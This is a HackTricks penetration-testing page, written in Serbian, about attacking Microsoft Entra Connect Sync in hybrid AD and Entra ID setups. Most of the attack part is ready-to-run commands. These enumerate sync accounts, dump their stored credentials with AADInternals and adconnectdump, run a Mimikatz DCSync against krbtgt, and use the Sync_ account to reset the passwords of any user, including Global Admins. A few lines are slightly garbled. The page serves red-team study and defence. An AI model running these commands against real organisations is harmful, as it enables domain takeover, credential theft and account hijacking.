# Az - Connect Sync

{{#include ../../../../banners/hacktricks-training.md}}

## Osnovne informacije

[Iz dokumenata:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sync-whatis) Microsoft Entra Connect sinhronizacione usluge (Microsoft Entra Connect Sync) su glavni komponenta Microsoft Entra Connect. Ona se brine o svim operacijama koje su povezane sa sinhronizacijom identitetskih podataka između vašeg lokalnog okruženja i Microsoft Entra ID.

Da biste je koristili, potrebno je instalirati **`Microsoft Entra Connect Sync`** agenta na serveru unutar vašeg AD okruženja. Ovaj agent će se brinuti o sinhronizaciji sa AD strane.

<figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>

**Connect Sync** je u suštini "stari" Azure način da se **sinhronizuju korisnici iz AD u Entra ID.** Novi preporučeni način je korišćenje **Entra Cloud Sync**:

{{#ref}}
az-cloud-sync.md
{{#endref}}

### Generisani principi

- Nalog **`MSOL_<installationID>`** se automatski kreira u lokalnom AD-u. Ovaj nalog dobija ulogu **Directory Synchronization Accounts** (vidi [dokumentaciju](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) što znači da ima **replication (DCSync) dozvole u lokalnom AD-u**.
- To znači da svako ko kompromituje ovaj nalog može kompromitovati lokalnu domenu.
- U lokalnom AD-u se kreira upravljani servisni nalog **`ADSyncMSA<id>`** bez posebnih podrazumevanih privilegija.
- U Entra ID se kreira servisni princip **`ConnectSyncProvisioning_ConnectSync_<id>`** sa sertifikatom.

## Sinhronizacija lozinki

### Sinhronizacija hešova lozinki

Ova komponenta se takođe može koristiti za **sinhronizaciju lozinki iz AD u Entra ID** tako da korisnici mogu koristiti svoje AD lozinke za povezivanje sa Entra ID. Za to je potrebno omogućiti sinhronizaciju hešova lozinki u Microsoft Entra Connect Sync agentu instaliranom na AD serveru.

[Iz dokumenata:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Sinhronizacija hešova lozinki** je jedna od metoda prijavljivanja koja se koristi za postizanje hibridnog identiteta. **Azure AD Connect** sinhronizuje heš, heša, lozinke korisnika iz lokalnog Active Directory instance u cloud-baziranu Azure AD instancu.

U suštini, svi **korisnici** i **heš hešova lozinki** se sinhronizuju iz lokalnog u Azure AD. Međutim, **lozinke u čistom tekstu** ili **originalni** **heševi** se ne šalju u Azure AD.

**Sinhronizacija hešova** se dešava svake **2 minuta**. Međutim, podrazumevano, **istek lozinke** i **istek naloga** se **ne sinhronizuju** u Azure AD. Tako da korisnik čija je **lokalna lozinka istekla** (nije promenjena) može nastaviti da **pristupa Azure resursima** koristeći staru lozinku.

Kada lokalni korisnik želi da pristupi Azure resursu, **autentifikacija se vrši na Azure AD**.

> [!NAPOMENA]
> Podrazumevano, korisnici poznatih privilegovanih grupa kao što su Domain Admins sa atributom **`adminCount` na 1 nisu sinhronizovani** sa Entra ID iz bezbednosnih razloga. Međutim, drugi korisnici koji su deo privilegovanih grupa bez ovog atributa ili koji su direktno dodeljeni visoke privilegije **mogu biti sinhronizovani**.

### Pisanje lozinki

Ova konfiguracija omogućava **sinhronizaciju lozinki iz Entra ID u AD** kada korisnik promeni svoju lozinku u Entra ID. Imajte na umu da za rad pisanja lozinki, korisniku `MSOL_<id>` automatski generisanom u AD-u, treba dodeliti [više privilegija kao što je navedeno u dokumentima](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback) kako bi mogao da **menja lozinke bilo kog korisnika u AD-u**.

Ovo je posebno zanimljivo za kompromitovanje AD-a iz kompromitovanog Entra ID-a jer ćete moći da menjate lozinku "gotovo" bilo kog korisnika.

Administratori domena i drugi korisnici koji pripadaju nekim privilegovanim grupama se ne repliciraju ako grupa ima **`adminCount` atribut na 1**. Ali drugi korisnici koji su dodeljeni visoke privilegije unutar AD-a bez pripadnosti bilo kojoj od tih grupa mogli bi imati promenjenu lozinku. Na primer:

- Korisnici dodeljeni visoke privilegije direktno.
- Korisnici iz grupe **`DNSAdmins`**.
- Korisnici iz grupe **`Group Policy Creator Owners`** koji su kreirali GPO-ove i dodelili ih OU-ima moći će da menjaju GPO-ove koje su kreirali.
- Korisnici iz grupe **`Cert Publishers Group`** koji mogu objavljivati sertifikate u Active Directory.
- Korisnici bilo koje druge grupe sa visokim privilegijama bez **`adminCount` atributa na 1**.

## Pivotiranje AD --> Entra ID

### Enumeracija Connect Sync

Proverite korisnike:
```bash
# Check for the users created by the Connect Sync
Install-WindowsFeature RSAT-AD-PowerShell
Import-Module ActiveDirectory
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" -Properties * | select SamAccountName,Description | fl
Get-ADServiceAccount -Filter "SamAccountName -like 'ADSyncMSA*'" -Properties SamAccountName,Description | Select-Object SamAccountName,Description | fl
Get-ADUser -Filter "samAccountName -like 'Sync_*'" -Properties * | select SamAccountName,Description | fl

# Check it using raw LDAP queries without needing an external module
$searcher = New-Object System.DirectoryServices.DirectorySearcher
$searcher.Filter = "(samAccountName=MSOL_*)"
$searcher.FindAll()
$searcher.Filter = "(samAccountName=ADSyncMSA*)"
$searcher.FindAll()
$searcher.Filter = "(samAccountName=Sync_*)"
$searcher.FindAll()
```
Proverite **Connect Sync konfiguraciju** (ako postoji):
```bash
az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronization"
# Check if password sychronization is enabled, if password and group writeback are enabled...
```
### Pronalaženje lozinki

Lozinke **`MSOL_*`** korisnika (i **Sync\_\*** korisnika ako je kreiran) su **smeštene u SQL serveru** na serveru gde je **Entra ID Connect instaliran.** Administratori mogu da izvuku lozinke tih privilegovanih korisnika u čistom tekstu.\
Baza podataka se nalazi u `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`.

Moguće je izvući konfiguraciju iz jedne od tabela, pri čemu je jedna enkriptovana:

`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`

**Enkriptovana konfiguracija** je enkriptovana sa **DPAPI** i sadrži **lozinke `MSOL_*`** korisnika u on-prem AD i lozinku **Sync\_\*** u AzureAD. Stoga, kompromitovanjem ovih lozinki moguće je izvršiti privesc na AD i AzureAD.

Možete pronaći [potpun pregled o tome kako su ove kredencijale smeštene i dekriptovane u ovom predavanju](https://www.youtube.com/watch?v=JEIR5oGCwdg).

### Zloupotreba MSOL\_*
```bash
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals  if you have a later version
Import-Module AADInternals
Get-AADIntSyncCredentials
# Or check DumpAADSyncCreds.exe from https://github.com/Hagrid29/DumpAADSyncCreds/tree/main

# Using https://github.com/dirkjanm/adconnectdump
python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80
.\ADSyncQuery.exe C:\Users\eitot\Tools\adconnectdump\ADSync.mdf > out.txt
python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80 --existing-db --from-file out.txt

# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
```
> [!WARNING]
> Prethodni napadi su kompromitovali drugu lozinku kako bi se povezali sa Entra ID korisnikom pod imenom `Sync_*` i zatim kompromitovali Entra ID. Međutim, ovaj korisnik više ne postoji.

### Zloupotreba ConnectSyncProvisioning_ConnectSync\_<id>

Ova aplikacija je kreirana bez dodeljenih Entra ID ili Azure upravljačkih uloga. Međutim, ima sledeće API dozvole:

- Microsoft Entra AD Synchronization Service
- `ADSynchronization.ReadWrite.All`
- Microsoft usluga resetovanja lozinke
- `PasswordWriteback.OffboardClient.All`
- `PasswordWriteback.RefreshClient.All`
- `PasswordWriteback.RegisterClientVersion.All`

Pominje se da se SP ove aplikacije još uvek može koristiti za obavljanje nekih privilegovanih radnji koristeći nedokumentovani API, ali do sada nije pronađen nijedan PoC.\
U svakom slučaju, razmišljajući da bi to moglo biti moguće, bilo bi zanimljivo dalje istražiti kako pronaći sertifikat za prijavu kao ovaj servisni principal i pokušati da ga zloupotrebimo.

Ovaj [blog post](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) objavljen je ubrzo pre promene sa korišćenja korisnika `Sync_*` na ovaj servisni principal, objasnio je da je sertifikat bio smešten unutar servera i da je bilo moguće pronaći ga, generisati PoP (Proof of Possession) za njega i graf token, i sa ovim, biti u mogućnosti da doda novi sertifikat servisnom principalu (jer **servisni principal** uvek može dodeliti sebi nove sertifikate) i zatim ga koristiti za održavanje postojanosti kao SP.

Kako bi se izvršile ove radnje, sledeći alati su objavljeni: [SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils).

Prema mom iskustvu, sertifikat više nije smešten na mestu gde je prethodni alat tražio, i stoga, alat više ne funkcioniše. Tako da bi mog research mogao biti potreban.

### Zloupotreba Sync\_\* [DEPRECATED]

> [!WARNING]
> Pre je korisnik pod imenom `Sync_*` kreiran u Entra ID sa veoma osetljivim dozvolama, što je omogućilo obavljanje privilegovanih radnji kao što su modifikacija lozinke bilo kog korisnika ili dodavanje nove kredencijale servisnom principalu. Međutim, od januara 2025. ovaj korisnik više nije kreiran po defaultu jer se sada koristi aplikacija/SP **`ConnectSyncProvisioning_ConnectSync_<id>`**. Ipak, može biti prisutan u nekim okruženjima, pa vredi proveriti.

Kompromitovanjem **`Sync_*`** naloga moguće je **resetovati lozinku** bilo kog korisnika (uključujući Globalne Administratore)
```bash
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals  if you have a later version
Import-Module AADInternals

# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials

# Get access token for Sync_* account
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache

# Get global admins
Get-AADIntGlobalAdmins

# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId

# Reset the users password
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose

# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
```
Takođe je moguće **modifikovati lozinke samo za cloud** korisnike (čak i ako to nije očekivano)
```bash
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID

# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers
```
Takođe je moguće izvući lozinku ovog korisnika.

> [!CAUTION]
> Druga opcija bi bila da **dodelite privilegovane dozvole servisnom principalu**, što korisnik **Sync** ima **dozvole** da uradi, a zatim **pristupite tom servisnom principalu** kao način za privesc.

### Seamless SSO

Moguće je koristiti Seamless SSO sa PHS, koji je podložan drugim zloupotrebama. Proverite to u:

{{#ref}}
seamless-sso.md
{{#endref}}

## Pivotiranje Entra ID --> AD

- Ako je omogućeno vraćanje lozinke, možete **modifikovati lozinku bilo kog korisnika u AD** koji je sinhronizovan sa Entra ID.
- Ako je omogućeno vraćanje grupa, možete **dodati korisnike u privilegovane grupe** u Entra ID koje su sinhronizovane sa AD.

## Reference

- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs)
- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
- [https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf](https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf)
- [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8)
- [https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/](https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/)
- [https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71)

{{#include ../../../../banners/hacktricks-training.md}}
